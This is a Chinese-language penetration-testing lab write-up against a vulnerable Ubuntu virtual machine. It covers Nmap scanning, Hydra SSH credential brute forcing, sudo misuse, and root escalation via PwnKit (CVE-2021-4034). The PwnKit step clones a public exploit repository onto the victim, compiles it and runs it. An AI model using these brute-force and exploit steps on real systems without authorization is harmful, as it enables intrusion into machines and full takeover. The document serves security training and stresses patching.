完整的渗透测试工作流程:凭据暴力破解、SSH访问和权限提升(CVE-2021-4034)
完整渗透测试工作流程:凭证暴力破解、SSH访问和权限提升(CVE-2021-4034)
概述
此项目演示了针对一台易受攻击的Ubuntu虚拟机的完整渗透测试工作流程。攻击链包括侦察、凭证暴力破解、初始访问以及使用多种技术进行的权限提升。
使用的工具
Nmap Hydra SSH Git CVE-2021-4034 (PwnKit)
侦察
侦察使用Nmap进行,它揭示了特定网络(wifi)中开放的主机数量。
nmap < Network IP 0/24 >:这揭示了活跃主机的数量及其MAC地址。

正如观察到的,该虚拟机运行在Oracle Virtual Box中,我们可以推断出这是我们的漏洞虚拟机,IP如下。
进一步的扫描发现了可被攻击的开放端口。
主要利用
利用这一点,我借助Hydra成功尝试了凭证暴力破解攻击。
hydra -l < USERNAME > or -L < File.txt > -p < PASSWORD > or -P < File.txt > < TARGET IP > < PORT >
这次成功的密码利用使我们能够使用该凭证进行SSH端口利用。
ssh < USERNAME@TARGET IP > Password < exploit password >
这使我们获得了对受害者系统的初始访问权限。此外,sudo配置错误让我们获得了root的完全访问权限。 sudo -l : (ALL : ALL) ALL
sudo su 实现了权限提升。
次要利用
我们继续借助Pwnkit CVE-2021-4034对受害者系统进行利用。
PwnKit (CVE-2021-4034) 是Qualys研究团队于2022年初发现的一个关键安全漏洞,影响Linux系统上的Polkit框架。它是一个本地权限提升(LPE)缺陷,允许任何标准、非特权用户获得系统上的完全root权限(管理访问权限)。该漏洞自2009年Polkit引入以来就已存在,被认为“极易利用”,使其非常危险。
通用漏洞披露(CVE)是一个标准化的、公开披露的软件和硬件中网络安全漏洞和暴露的列表。
安装CVE-2021-4034并利用虚拟机
首先,我通过检查pkexec的存在和权限来确认目标系统可能易受攻击: which pkexec 输出: ls -la /usr/bin/pkexec 该二进制文件设置了SUID位,表明它以其root权限运行,使其成为利用的可行目标。
准备环境
为了编译漏洞利用代码,安装了所需的工具:
sudo apt update
sudo apt install git build-essential -y
这确保了系统拥有必要的编译器和依赖项。 如果系统的apt有任何后台任务正在运行,请终止它。
传输/获取漏洞利用代码
漏洞利用代码被直接克隆到受害者机器上:
cd /tmp
git clone https://github.com/berdav/CVE-2021-4034.git
cd CVE-2021-4034
使用/tmp可以避免混乱并反映真实的攻击者行为。

编译漏洞利用代码
漏洞利用代码使用以下命令编译:"make" 这将生成触发漏洞所需的可执行文件。
执行漏洞利用代码
执行漏洞利用代码:
./cve-2021-4034
验证权限提升
执行后,root访问权限得到确认: whoami
输出: root
此漏洞利用之所以有效,是因为pkexec不当处理环境变量,允许攻击者以提升的权限执行任意代码。
结论
本次练习展示了看似低权限的用户如何通过利用像PwnKit (CVE-2021-4034)这样的已知漏洞,将权限提升至完全系统控制。通过将凭证泄露的初始访问与系统性枚举和利用相结合,可以在不单纯依赖配置错误的情况下获得root访问权限。这突出了及时补丁管理和安全配置实践的关键重要性。即使一个被忽视的漏洞也可能导致系统完全被攻破,强调了持续安全评估和深度防御策略的必要性。